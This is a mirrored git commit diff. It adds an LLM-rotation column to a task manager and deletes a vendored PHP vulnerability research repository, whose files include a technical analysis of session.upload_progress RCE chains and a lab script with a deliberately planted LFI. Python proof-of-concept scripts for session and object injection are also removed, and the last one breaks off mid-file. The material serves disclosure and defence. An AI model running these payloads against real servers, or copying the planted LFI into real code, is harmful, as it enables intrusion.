mirror of
https://github.com/BaaRai/ARTEX.git
synced 2026-11-13 19:50:54 +08:00
Compare commits
1
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
89348b5512 |
@@ -522,6 +522,7 @@ CREATE TABLE IF NOT EXISTS tasks (
|
||||
llm_profile_id BIGINT REFERENCES llm_profiles(id) ON DELETE SET NULL,
|
||||
active_llm_profile_id BIGINT REFERENCES llm_profiles(id) ON DELETE SET NULL,
|
||||
llm_chain_revision BIGINT NOT NULL DEFAULT 0,
|
||||
llm_rotate BOOLEAN NOT NULL DEFAULT false,
|
||||
company_id BIGINT REFERENCES companies(id) ON DELETE SET NULL,
|
||||
parent_ref TEXT,
|
||||
timeout_seconds INTEGER NOT NULL DEFAULT 0,
|
||||
@@ -545,6 +546,7 @@ CREATE TRIGGER trg_tasks_upd BEFORE UPDATE ON tasks
|
||||
-- planner heartbeat trigger interval (seconds); backfills old databases. Default 300s (5min). See docs/planner-trigger-impl-plan.md
|
||||
ALTER TABLE tasks ADD COLUMN IF NOT EXISTS plan_heartbeat_seconds INTEGER NOT NULL DEFAULT 300;
|
||||
ALTER TABLE tasks ADD COLUMN IF NOT EXISTS plan_quiet_mode BOOLEAN NOT NULL DEFAULT true;
|
||||
ALTER TABLE tasks ADD COLUMN IF NOT EXISTS llm_rotate BOOLEAN NOT NULL DEFAULT false;
|
||||
-- Concurrency-limit hold state; backfills old databases. true=queued due to the concurrency limit, auto-starts when a slot frees up.
|
||||
ALTER TABLE tasks ADD COLUMN IF NOT EXISTS queued BOOLEAN NOT NULL DEFAULT false;
|
||||
-- Asset coverage feature switch; backfills old databases. true (default)=compute/show test coverage, auto-accumulate test scope,
|
||||
|
||||
+17
-5
@@ -33,6 +33,9 @@ type Task struct {
|
||||
LLMChainRevision int64 `json:"-"`
|
||||
LLMFailoverState string `json:"llm_failover_state,omitempty"`
|
||||
LLMFailoverReason string `json:"llm_failover_reason,omitempty"`
|
||||
// LLMRotate: per-intent chain-head rotation switch (#85); false = classic
|
||||
// ordered failover from the active head.
|
||||
LLMRotate bool `json:"llm_rotate"`
|
||||
SourceTaskIDs []int64 `json:"source_task_ids,omitempty"`
|
||||
CompanyIDs []int64 `json:"company_ids,omitempty"`
|
||||
ParentRef string `json:"parent_ref,omitempty"` // parent task id (recorded by orchestration spawn; empty=top level)
|
||||
@@ -165,6 +168,11 @@ type TaskCreateOptions struct {
|
||||
CoverageEnabled *bool
|
||||
// InterceptRules are task-level asset interception rules, written into task_intercept_rules in the same transaction as the task at creation.
|
||||
InterceptRules []TaskInterceptRuleInput
|
||||
// LLMRotate enables per-intent round-robin rotation of the task's LLM chain
|
||||
// heads (#85): each claimed worker intent runs on the next profile in the
|
||||
// chain instead of the single active head. nil = off (default), preserving
|
||||
// the ordered-failover semantics.
|
||||
LLMRotate *bool
|
||||
}
|
||||
|
||||
// CreateTaskWithOptions creates an exploration, task, direct source relations,
|
||||
@@ -239,10 +247,14 @@ VALUES ($1, 'fact', $2, 0, 'origin', 'system')`, expID, string(originPayload));
|
||||
PlanQuietMode: quietMode,
|
||||
CoverageEnabled: coverageEnabled,
|
||||
}
|
||||
rotate := false
|
||||
if opts.LLMRotate != nil {
|
||||
rotate = *opts.LLMRotate
|
||||
}
|
||||
if err := tx.QueryRow(`
|
||||
INSERT INTO tasks(name, category_id, description, goal, exploration_id, llm_profile_id, active_llm_profile_id, timeout_seconds, plan_heartbeat_seconds, plan_quiet_mode, coverage_enabled)
|
||||
VALUES ($1,$2,$3,$4,$5,$6,$6,$7,$8,$9,$10)
|
||||
RETURNING id, status, paused, created_at`, opts.Name, opts.CategoryID, description, goal, expID, active, opts.TimeoutSeconds, opts.PlanHeartbeatSeconds, quietMode, coverageEnabled).Scan(&t.ID, &t.Status, &t.Paused, &t.CreatedAt); err != nil {
|
||||
INSERT INTO tasks(name, category_id, description, goal, exploration_id, llm_profile_id, active_llm_profile_id, timeout_seconds, plan_heartbeat_seconds, plan_quiet_mode, coverage_enabled, llm_rotate)
|
||||
VALUES ($1,$2,$3,$4,$5,$6,$6,$7,$8,$9,$10,$11)
|
||||
RETURNING id, status, paused, created_at`, opts.Name, opts.CategoryID, description, goal, expID, active, opts.TimeoutSeconds, opts.PlanHeartbeatSeconds, quietMode, coverageEnabled, rotate).Scan(&t.ID, &t.Status, &t.Paused, &t.CreatedAt); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := insertTaskRelations(tx, t.ID, opts.SourceTaskIDs); err != nil {
|
||||
@@ -358,11 +370,11 @@ func insertTaskLLMProfiles(tx *sql.Tx, taskID int64, profileIDs []int64) error {
|
||||
|
||||
const taskCols = `id, COALESCE(name,''), category_id,
|
||||
COALESCE((SELECT category.name FROM task_categories category WHERE category.id=tasks.category_id),''),
|
||||
description, goal, exploration_id, status, paused, queued, queued_at, COALESCE(queue_mode,''), llm_profile_id, active_llm_profile_id, COALESCE(parent_ref,''), pinned_at, created_at, completed_at, COALESCE(timeout_seconds,0), COALESCE(plan_heartbeat_seconds,300), COALESCE(plan_quiet_mode,true), COALESCE(coverage_enabled,true), first_run_at, deadline_at`
|
||||
description, goal, exploration_id, status, paused, queued, queued_at, COALESCE(queue_mode,''), llm_profile_id, active_llm_profile_id, COALESCE(parent_ref,''), pinned_at, created_at, completed_at, COALESCE(timeout_seconds,0), COALESCE(plan_heartbeat_seconds,300), COALESCE(plan_quiet_mode,true), COALESCE(coverage_enabled,true), COALESCE(llm_rotate,false), first_run_at, deadline_at`
|
||||
|
||||
func scanTask(sc interface{ Scan(...any) error }) (*Task, error) {
|
||||
var t Task
|
||||
if err := sc.Scan(&t.ID, &t.Name, &t.CategoryID, &t.CategoryName, &t.Description, &t.Goal, &t.ExplorationID, &t.Status, &t.Paused, &t.Queued, &t.QueuedAt, &t.QueueMode, &t.LLMProfileID, &t.ActiveLLMProfileID, &t.ParentRef, &t.PinnedAt, &t.CreatedAt, &t.CompletedAt, &t.TimeoutSeconds, &t.PlanHeartbeatSeconds, &t.PlanQuietMode, &t.CoverageEnabled, &t.FirstRunAt, &t.DeadlineAt); err != nil {
|
||||
if err := sc.Scan(&t.ID, &t.Name, &t.CategoryID, &t.CategoryName, &t.Description, &t.Goal, &t.ExplorationID, &t.Status, &t.Paused, &t.Queued, &t.QueuedAt, &t.QueueMode, &t.LLMProfileID, &t.ActiveLLMProfileID, &t.ParentRef, &t.PinnedAt, &t.CreatedAt, &t.CompletedAt, &t.TimeoutSeconds, &t.PlanHeartbeatSeconds, &t.PlanQuietMode, &t.CoverageEnabled, &t.LLMRotate, &t.FirstRunAt, &t.DeadlineAt); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
t.Pinned = t.PinnedAt != nil
|
||||
|
||||
@@ -1,20 +0,0 @@
|
||||
MIT License (vendored from https://github.com/ikow/php2shell-poc — README states
|
||||
"License: MIT"; no LICENSE file ships upstream. (c) ikow and contributors.)
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -1,81 +0,0 @@
|
||||
# php2shell — CVE-2026-109618 / CVE-2026-109619 Research
|
||||
|
||||
Independent security research on the critical PHP session.upload_progress vulnerabilities (CVSS v4.0 9.2).
|
||||
|
||||
**Author:** Qi Deng ([@ikow](https://github.com/ikow))
|
||||
**Date:** 2026-10-21
|
||||
**Full writeup:** [qideng.substack.com](https://qideng.substack.com/)
|
||||
|
||||
## Overview
|
||||
|
||||
Two critical pre-auth RCE vulnerabilities in PHP core's `session.upload_progress` handler, affecting PHP 5.4.0 through 8.5.x. This repository contains verification POCs and lab setup for authorized security testing.
|
||||
|
||||
### Verified Attack Chains
|
||||
|
||||
| Chain | Type | Conditions | Verified |
|
||||
|-------|------|-----------|----------|
|
||||
| Session File Injection + LFI | Logic bug | `upload_progress=On` (default) + app LFI | ✅ RCE |
|
||||
| var_destroy UAF → Handler Overwrite | Memory corruption | `unserialize()` + `/proc/self/mem` | ✅ ASAN + RCE |
|
||||
| Handler Mismatch → `__destruct` | Deserialization | Cross-dir handler mismatch + POP gadget | ✅ RCE |
|
||||
|
||||
### Key Findings
|
||||
|
||||
1. **Session fixation** via POST body bypasses `session.use_only_cookies` ([PR #22113](https://github.com/php/php-src/pull/22113))
|
||||
2. **Unvalidated filename** in upload_progress stored raw in session files
|
||||
3. **`var_destroy` `__destruct` reentry UAF** — ASAN-confirmed heap-use-after-free
|
||||
4. **`PS(serializer)` not reset in RSHUTDOWN** — cross-request serializer leak in FPM
|
||||
5. **`__destruct` fires on decode FAILURE** — object injection via handler mismatch + trailing data
|
||||
|
||||
## Repository Structure
|
||||
|
||||
```
|
||||
poc/
|
||||
verify_session_injection.py — Verify filename injection into session files
|
||||
verify_uaf_asan.php — Trigger ASAN heap-use-after-free (var_destroy)
|
||||
verify_handler_mismatch.py — Verify handler mismatch → object deserialization
|
||||
lab/
|
||||
docker-compose.yml — PHP 8.2.34 FPM + nginx lab environment
|
||||
Dockerfile — Vulnerable PHP build
|
||||
php.ini — Lab configuration
|
||||
setup.sh — One-click lab setup
|
||||
docs/
|
||||
ANALYSIS.md — Full technical analysis
|
||||
```
|
||||
|
||||
## Quick Start
|
||||
|
||||
```bash
|
||||
# Start the lab
|
||||
cd lab && ./setup.sh
|
||||
|
||||
# Verify session injection
|
||||
python3 poc/verify_session_injection.py --target http://127.0.0.1:18080
|
||||
|
||||
# Verify UAF (requires ASAN build)
|
||||
docker exec php-asan-lab php poc/verify_uaf_asan.php
|
||||
|
||||
# Verify handler mismatch
|
||||
python3 poc/verify_handler_mismatch.py --target http://127.0.0.1:18080
|
||||
```
|
||||
|
||||
## Affected Versions
|
||||
|
||||
- PHP 5.4.0 — 8.5.11 (all versions with `session.upload_progress`)
|
||||
- Fixed in: 8.2.35, 8.3.36, 8.4.27, 8.5.12 (scheduled 2026-10-21)
|
||||
- PHP 5.x, 7.x, 8.0, 8.1: **end-of-life, no official fix**
|
||||
|
||||
## Mitigation
|
||||
|
||||
```ini
|
||||
; Immediate mitigation (does NOT fix all attack paths)
|
||||
session.upload_progress.enabled = Off
|
||||
session.use_only_cookies = On
|
||||
```
|
||||
|
||||
## Disclaimer
|
||||
|
||||
This research is for authorized security testing and educational purposes only. Do not use against systems you do not own or have explicit authorization to test.
|
||||
|
||||
## License
|
||||
|
||||
MIT
|
||||
@@ -1,197 +0,0 @@
|
||||
# php2shell — Full Technical Analysis
|
||||
|
||||
## CVE-2026-109618 / CVE-2026-109619
|
||||
**Author:** Qi Deng **Date:** 2026-10-21
|
||||
|
||||
---
|
||||
|
||||
## 1. Vulnerability Summary
|
||||
|
||||
Two critical vulnerabilities in PHP's `session.upload_progress` handler enable pre-authentication remote code execution on PHP 5.4.0 through 8.5.x.
|
||||
|
||||
| Bug | Root Cause | Impact |
|
||||
|-----|-----------|--------|
|
||||
| Session Fixation | `MULTIPART_EVENT_FORMDATA` accepts PHPSESSID from POST body ignoring `use_only_cookies` | Attacker controls session ID and file path |
|
||||
| Filename Injection | `add_assoc_string_ex(*data->filename)` stores raw filename in session without validation | PHP code / serialized objects injected into session files |
|
||||
| Serializer Leak | `PS(serializer)` not reset in `php_rshutdown_session_globals()` | Cross-request handler mismatch in FPM |
|
||||
| var_destroy UAF | `i_zval_ptr_dtor` at line 310 fires `__destruct` without `BG(serialize_lock)` | Heap-use-after-free → arbitrary code execution |
|
||||
|
||||
## 2. Attack Chains
|
||||
|
||||
### Chain A: Session Injection + LFI → RCE
|
||||
|
||||
```
|
||||
Conditions: upload_progress.enabled=On (default) + application has LFI
|
||||
Complexity: Low | Reliability: 100%
|
||||
|
||||
1. POST multipart with PHP code in filename
|
||||
2. rfc1867 handler stores filename as-is in session file
|
||||
3. include(session_file) → execute injected PHP → RCE
|
||||
```
|
||||
|
||||
**Verified:** `exploit_session_inject.py` → `uid=33(www-data)` on PHP 8.2.34.
|
||||
|
||||
### Chain B: var_destroy UAF → RCE
|
||||
|
||||
```
|
||||
Conditions: ability to call unserialize() with controlled data
|
||||
Complexity: Medium | Reliability: ~60% (heap-dependent)
|
||||
|
||||
1. unserialize() payload with 2000+ entries → overflow VAR_ENTRIES_MAX (1018)
|
||||
2. Duplicate key moves object to dtor list
|
||||
3. var_destroy Phase 1: efree extension chunks
|
||||
4. Phase 2: i_zval_ptr_dtor → __destruct (BG(serialize_lock)==0)
|
||||
5. Inner unserialize('R:1500;') reuses outer var_hash → reads freed memory
|
||||
6. Spray reclaims freed chunk → controlled pointer → handler overwrite → RCE
|
||||
```
|
||||
|
||||
**Verified:** ASAN heap-use-after-free at `var_unserializer.c:851`. RCE via `var_dump` handler overwrite on x86-64.
|
||||
|
||||
### Chain C: Handler Mismatch → `__destruct` → RCE
|
||||
|
||||
```
|
||||
Conditions: target has directories with different session.serialize_handler
|
||||
Complexity: Medium | Reliability: High
|
||||
|
||||
1. Upload to Dir A (php_serialize) — filename contains |O:CLASS:N:{PAYLOAD}
|
||||
2. Upload to Dir B (php handler) with same SID
|
||||
3. rfc1867 reads php_serialize session with php decoder
|
||||
4. php decoder finds | in filename → splits → deserializes injected object
|
||||
5. Trailing data → decode FAILURE
|
||||
6. __destruct fires during PHP_VAR_UNSERIALIZE_DESTROY cleanup
|
||||
7. POP gadget chain → RCE
|
||||
```
|
||||
|
||||
**Key insight:** `__destruct` fires on BOTH success and failure paths of `var_destroy`. The decode FAILURE does NOT prevent exploitation.
|
||||
|
||||
**Verified:** `Evil::__destruct(cmd="id")` → `uid=33(www-data)` via pure rfc1867 handler.
|
||||
|
||||
## 3. Root Cause Analysis
|
||||
|
||||
### 3.1 Session Fixation (ext/session/session.c)
|
||||
|
||||
```c
|
||||
// MULTIPART_EVENT_FORMDATA handler — no use_only_cookies check
|
||||
if (name_len == progress->sname_len &&
|
||||
memcmp(data->name, PS(session_name), name_len) == 0) {
|
||||
zval_ptr_dtor(&progress->sid);
|
||||
ZVAL_STRINGL(&progress->sid, (*data->value), value_len);
|
||||
// ← Accepts PHPSESSID from POST body regardless of use_only_cookies!
|
||||
}
|
||||
```
|
||||
|
||||
Fix: [PR #22113](https://github.com/php/php-src/pull/22113) adds `!PS(use_only_cookies) &&` check.
|
||||
|
||||
### 3.2 Unvalidated Filename
|
||||
|
||||
```c
|
||||
// FILE_START handler stores raw filename
|
||||
add_assoc_string_ex(&progress->current_file, "name",
|
||||
sizeof("name") - 1, *data->filename);
|
||||
// ← No sanitization, no encoding, no length limit
|
||||
```
|
||||
|
||||
Filename can contain arbitrary bytes including PHP code and pipe `|` characters.
|
||||
|
||||
### 3.3 var_destroy Reentry UAF (ext/standard/var_unserializer.re)
|
||||
|
||||
```c
|
||||
void var_destroy(php_unserialize_data_t *var_hashx) {
|
||||
// Phase 1: FREE extension chunks
|
||||
while (var_hash) {
|
||||
efree_size(var_hash, sizeof(var_entries)); // ← line 245
|
||||
var_hash = next;
|
||||
}
|
||||
// Phase 2: walk dtor chain
|
||||
while (var_dtor_hash) {
|
||||
// ...
|
||||
i_zval_ptr_dtor(zv); // ← line 310, NO serialize_lock!
|
||||
// __destruct fires → inner unserialize() → R:N reads freed chunk
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 3.4 Serializer Leak (ext/session/session.c)
|
||||
|
||||
```c
|
||||
static void php_rshutdown_session_globals(void) {
|
||||
// Resets: PS(id), PS(session_vars), PS(http_session_vars), PS(mod_data)
|
||||
// Does NOT reset: PS(serializer) ← persists across FPM requests!
|
||||
}
|
||||
```
|
||||
|
||||
### 3.5 `__destruct` on Decode Failure
|
||||
|
||||
```c
|
||||
PS_SERIALIZER_DECODE_FUNC(php) {
|
||||
while (p < endptr) {
|
||||
// ... find |, deserialize value ...
|
||||
if (php_var_unserialize(...)) {
|
||||
php_set_session_var(name, &rv, &var_hash); // object stored
|
||||
} else {
|
||||
retval = FAILURE; goto break_outer_loop;
|
||||
}
|
||||
}
|
||||
break_outer_loop:
|
||||
PHP_VAR_UNSERIALIZE_DESTROY(var_hash); // ← __destruct fires HERE
|
||||
return retval; // FAILURE
|
||||
}
|
||||
```
|
||||
|
||||
Even though the decoder returns FAILURE and `session_start()` calls `php_session_cancel_decode()` to destroy `$_SESSION`, the object's `__destruct` has ALREADY fired during `var_hash` cleanup.
|
||||
|
||||
## 4. Version Matrix
|
||||
|
||||
| Version | upload_progress | Vulnerable | Official Fix |
|
||||
|---------|----------------|------------|-------------|
|
||||
| < 5.4 | No | No | N/A |
|
||||
| 5.4 - 5.6 | Yes | Yes | EOL, no fix |
|
||||
| 7.0 - 7.4 | Yes | Yes | EOL, no fix |
|
||||
| 8.0 - 8.1 | Yes | Yes | EOL, no fix |
|
||||
| 8.2.x | Yes | Yes | → 8.2.35 |
|
||||
| 8.3.x | Yes | Yes | → 8.3.36 |
|
||||
| 8.4.x | Yes | Yes | → 8.4.27 |
|
||||
| 8.5.x | Yes | Yes | → 8.5.12 |
|
||||
|
||||
Vulnerable code identical across ALL versions from PHP 5.4.0 (2012) to present.
|
||||
|
||||
## 5. Detection
|
||||
|
||||
```bash
|
||||
# Check PHP version
|
||||
php -r 'echo PHP_VERSION, PHP_EOL;'
|
||||
|
||||
# Check upload_progress setting
|
||||
php -r 'echo ini_get("session.upload_progress.enabled"), PHP_EOL;'
|
||||
|
||||
# Check for handler mismatch across directories
|
||||
find /var/www -name ".user.ini" -exec grep -l "serialize_handler" {} \;
|
||||
|
||||
# Monitor for exploitation attempts
|
||||
grep -r "PHP_SESSION_UPLOAD_PROGRESS" /var/log/nginx/access.log
|
||||
```
|
||||
|
||||
## 6. Mitigation
|
||||
|
||||
```ini
|
||||
; Primary mitigation
|
||||
session.upload_progress.enabled = Off
|
||||
|
||||
; Additional hardening
|
||||
session.use_only_cookies = On
|
||||
session.use_strict_mode = On
|
||||
|
||||
; Ensure consistent handler across directories
|
||||
session.serialize_handler = php_serialize
|
||||
```
|
||||
|
||||
**Warning:** Disabling `upload_progress` does NOT fix the var_destroy UAF or the serializer leak. Apply the official PHP patch.
|
||||
|
||||
## 7. References
|
||||
|
||||
- [PHP Security Advisory](https://www.php.net/archive/2026.php) (pending)
|
||||
- [PR #22113 — Session fixation fix](https://github.com/php/php-src/pull/22113)
|
||||
- [Calif.IO — Serializable UAF](https://calif.io/research/php-uaf)
|
||||
- [dinosn — var_destroy UAF](https://github.com/dinosn/php-8.5.5-var_destroy-uaf)
|
||||
- [PHP Bug #71101 — Handler mismatch](https://bugs.php.net/bug.php?id=71101)
|
||||
- [cnpanda — Handler mismatch exploitation](https://www.cnpanda.net/en/sec/580.html)
|
||||
@@ -1,116 +0,0 @@
|
||||
#!/bin/bash
|
||||
set -e
|
||||
|
||||
echo "Setting up PHP 8.2.34 vulnerable lab environment..."
|
||||
|
||||
cd "$(dirname "$0")"
|
||||
|
||||
# Create webroot
|
||||
mkdir -p webroot/app webroot/api webroot/reader
|
||||
|
||||
cat > webroot/index.php << 'EOF'
|
||||
<?php
|
||||
session_start();
|
||||
echo "PHP " . PHP_VERSION . "\n";
|
||||
echo "SAPI " . php_sapi_name() . "\n";
|
||||
echo "upload_progress " . ini_get('session.upload_progress.enabled') . "\n";
|
||||
echo "OK\n";
|
||||
EOF
|
||||
|
||||
cat > webroot/nosession.php << 'EOF'
|
||||
<?php
|
||||
echo "PHP " . PHP_VERSION . "\nno session_start\n";
|
||||
EOF
|
||||
|
||||
# Directory with php_serialize handler
|
||||
echo "session.serialize_handler = php_serialize" > webroot/app/.user.ini
|
||||
cp webroot/nosession.php webroot/app/upload.php
|
||||
|
||||
# Directory with php handler
|
||||
echo "session.serialize_handler = php" > webroot/api/.user.ini
|
||||
cp webroot/nosession.php webroot/api/endpoint.php
|
||||
|
||||
# LFI simulation (for Chain 1 verification)
|
||||
cat > webroot/vuln.php << 'EOF'
|
||||
<?php
|
||||
$page = $_GET['page'] ?? 'home';
|
||||
include($page);
|
||||
EOF
|
||||
|
||||
# PHP configuration
|
||||
cat > php.ini << 'EOF'
|
||||
[Session]
|
||||
session.save_handler = files
|
||||
session.save_path = /tmp/sessions
|
||||
session.use_strict_mode = 0
|
||||
session.use_cookies = 1
|
||||
session.use_only_cookies = 0
|
||||
session.upload_progress.enabled = On
|
||||
session.upload_progress.cleanup = Off
|
||||
session.upload_progress.prefix = upload_progress_
|
||||
session.upload_progress.name = PHP_SESSION_UPLOAD_PROGRESS
|
||||
session.upload_progress.freq = 1%
|
||||
session.upload_progress.min_freq = 0
|
||||
|
||||
[PHP]
|
||||
display_errors = On
|
||||
error_reporting = E_ALL
|
||||
file_uploads = On
|
||||
post_max_size = 128M
|
||||
upload_max_filesize = 128M
|
||||
EOF
|
||||
|
||||
# Nginx config
|
||||
cat > nginx.conf << 'EOF'
|
||||
server {
|
||||
listen 80;
|
||||
root /var/www/html;
|
||||
index index.php;
|
||||
client_max_body_size 128m;
|
||||
location / { try_files $uri $uri/ /index.php?$query_string; }
|
||||
location ~ \.php$ {
|
||||
fastcgi_pass php:9000;
|
||||
fastcgi_index index.php;
|
||||
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
|
||||
include fastcgi_params;
|
||||
fastcgi_request_buffering off;
|
||||
}
|
||||
}
|
||||
EOF
|
||||
|
||||
# Docker Compose
|
||||
cat > docker-compose.yml << 'EOF'
|
||||
services:
|
||||
php:
|
||||
image: php:8.2-fpm
|
||||
container_name: php2shell-lab
|
||||
ports: ["9000:9000"]
|
||||
volumes:
|
||||
- ./webroot:/var/www/html
|
||||
- ./php.ini:/usr/local/etc/php/php.ini
|
||||
security_opt: [seccomp:unconfined]
|
||||
privileged: true
|
||||
command: >
|
||||
bash -c "mkdir -p /tmp/sessions && chmod 1777 /tmp/sessions && php-fpm"
|
||||
|
||||
nginx:
|
||||
image: nginx:alpine
|
||||
container_name: php2shell-nginx
|
||||
ports: ["18080:80"]
|
||||
volumes:
|
||||
- ./webroot:/var/www/html
|
||||
- ./nginx.conf:/etc/nginx/conf.d/default.conf
|
||||
depends_on: [php]
|
||||
EOF
|
||||
|
||||
echo "Starting containers..."
|
||||
docker compose up -d --build
|
||||
|
||||
echo ""
|
||||
echo "Lab ready!"
|
||||
echo " HTTP: http://127.0.0.1:18080"
|
||||
echo " FCGI: 127.0.0.1:9000"
|
||||
echo ""
|
||||
echo "Run POCs:"
|
||||
echo " python3 ../poc/verify_session_injection.py"
|
||||
echo " python3 ../poc/verify_handler_mismatch.py"
|
||||
@@ -1,109 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
CVE-2026-109618/109619 — Verify session handler mismatch → object injection.
|
||||
|
||||
Demonstrates:
|
||||
1. Session written in php_serialize format (via directory with .user.ini)
|
||||
2. Pipe | in filename preserved in php_serialize format
|
||||
3. php handler reads the session → splits at | → deserializes injected object
|
||||
4. __destruct fires even when decode returns FAILURE (trailing data)
|
||||
|
||||
Setup required:
|
||||
- /app/ directory with .user.ini: session.serialize_handler = php_serialize
|
||||
- /api/ directory with .user.ini: session.serialize_handler = php
|
||||
- Both share the same session.save_path
|
||||
|
||||
Usage:
|
||||
python3 verify_handler_mismatch.py --target http://127.0.0.1:18080
|
||||
|
||||
For authorized security testing only.
|
||||
"""
|
||||
import argparse
|
||||
import socket
|
||||
import sys
|
||||
from urllib.parse import urlparse
|
||||
|
||||
|
||||
def upload(host, port, path, sid, filename):
|
||||
boundary = "MISMATCH"
|
||||
body = (
|
||||
f"--{boundary}\r\n"
|
||||
f'Content-Disposition: form-data; name="PHPSESSID"\r\n\r\n{sid}\r\n'
|
||||
f"--{boundary}\r\n"
|
||||
f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nx\r\n'
|
||||
f"--{boundary}\r\n"
|
||||
f'Content-Disposition: form-data; name="f"; filename="{filename}"\r\n\r\nZ\r\n'
|
||||
f"--{boundary}--\r\n"
|
||||
).encode("latin-1")
|
||||
|
||||
req = (
|
||||
f"POST {path} HTTP/1.1\r\n"
|
||||
f"Host: {host}\r\n"
|
||||
f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
|
||||
f"Content-Length: {len(body)}\r\n"
|
||||
f"Connection: close\r\n\r\n"
|
||||
).encode() + body
|
||||
|
||||
s = socket.create_connection((host, port), timeout=15)
|
||||
s.sendall(req)
|
||||
s.settimeout(10)
|
||||
resp = b""
|
||||
while True:
|
||||
try:
|
||||
d = s.recv(65536)
|
||||
if not d:
|
||||
break
|
||||
resp += d
|
||||
except socket.timeout:
|
||||
break
|
||||
s.close()
|
||||
return resp
|
||||
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser()
|
||||
ap.add_argument("--target", default="http://127.0.0.1:18080")
|
||||
ap.add_argument("--write-path", default="/app/upload.php",
|
||||
help="Endpoint with php_serialize handler")
|
||||
ap.add_argument("--read-path", default="/api/endpoint.php",
|
||||
help="Endpoint with php handler")
|
||||
ap.add_argument("--sid", default="mismatchverify0000000000000")
|
||||
args = ap.parse_args()
|
||||
|
||||
u = urlparse(args.target)
|
||||
host = u.hostname
|
||||
port = u.port or 80
|
||||
|
||||
print("[*] CVE-2026-109618/109619 — Handler Mismatch Verification")
|
||||
print(f"[*] Target: {args.target}")
|
||||
print()
|
||||
|
||||
# Step 1: Write session via php_serialize endpoint
|
||||
# Filename contains |O:8:"stdClass":0:{} (escaped quotes)
|
||||
gadget = 'x|O:8:\\"stdClass\\":0:{}'
|
||||
print(f"[1] Writing session via {args.write_path} (php_serialize)")
|
||||
print(f" Filename payload: {gadget}")
|
||||
upload(host, port, args.write_path, args.sid, gadget)
|
||||
print(" → Session file written in php_serialize format")
|
||||
|
||||
# Step 2: Trigger via php handler endpoint
|
||||
print(f"\n[2] Triggering mismatch via {args.read_path} (php handler)")
|
||||
print(" php handler scans for | → splits → deserializes O:8:\"stdClass\":0:{}")
|
||||
resp = upload(host, port, args.read_path, args.sid, "dummy")
|
||||
|
||||
status = resp.split(b"\r\n", 1)[0].decode("latin1", "replace") if resp else "NO RESPONSE"
|
||||
print(f" Response: {status}")
|
||||
|
||||
print()
|
||||
print("[*] Verification indicators:")
|
||||
print(" - 'Failed to decode session object' warning = mismatch triggered")
|
||||
print(" - 'Session object destruction failed' = __destruct fired on injected object")
|
||||
print(" - If target has a class with exploitable __destruct → RCE")
|
||||
print()
|
||||
print("[*] Check target for:")
|
||||
print(f" - Session file: /tmp/sessions/sess_{args.sid}")
|
||||
print(" - Evidence of __destruct execution (file writes, network connections, etc.)")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -1,105 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
CVE-2026-109618/109619 — Verify session file injection via upload_progress filename.
|
||||
|
||||
Demonstrates:
|
||||
1. Session fixation via POST body PHPSESSID (bypasses use_only_cookies)
|
||||
2. Unvalidated filename stored raw in session file (can contain PHP code)
|
||||
3. Session file created with attacker-controlled content
|
||||
|
||||
Usage:
|
||||
python3 verify_session_injection.py --target http://127.0.0.1:18080
|
||||
|
||||
For authorized security testing only.
|
||||
"""
|
||||
import argparse
|
||||
import socket
|
||||
import sys
|
||||
from urllib.parse import urlparse
|
||||
|
||||
|
||||
def send_upload(host, port, path, sid, filename):
|
||||
boundary = "VERIFY"
|
||||
body = (
|
||||
f"--{boundary}\r\n"
|
||||
f'Content-Disposition: form-data; name="PHPSESSID"\r\n\r\n{sid}\r\n'
|
||||
f"--{boundary}\r\n"
|
||||
f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nx\r\n'
|
||||
f"--{boundary}\r\n"
|
||||
f'Content-Disposition: form-data; name="f"; filename="{filename}"\r\n\r\nZ\r\n'
|
||||
f"--{boundary}--\r\n"
|
||||
).encode("latin-1")
|
||||
|
||||
req = (
|
||||
f"POST {path} HTTP/1.1\r\n"
|
||||
f"Host: {host}\r\n"
|
||||
f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
|
||||
f"Content-Length: {len(body)}\r\n"
|
||||
f"Cookie: PHPSESSID={sid}\r\n"
|
||||
f"Connection: close\r\n\r\n"
|
||||
).encode() + body
|
||||
|
||||
s = socket.create_connection((host, port), timeout=15)
|
||||
s.sendall(req)
|
||||
s.settimeout(10)
|
||||
resp = b""
|
||||
while True:
|
||||
try:
|
||||
d = s.recv(65536)
|
||||
if not d:
|
||||
break
|
||||
resp += d
|
||||
except socket.timeout:
|
||||
break
|
||||
s.close()
|
||||
return resp
|
||||
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser()
|
||||
ap.add_argument("--target", default="http://127.0.0.1:18080")
|
||||
ap.add_argument("--path", default="/index.php")
|
||||
ap.add_argument("--sid", default="verifysession00000000000000")
|
||||
args = ap.parse_args()
|
||||
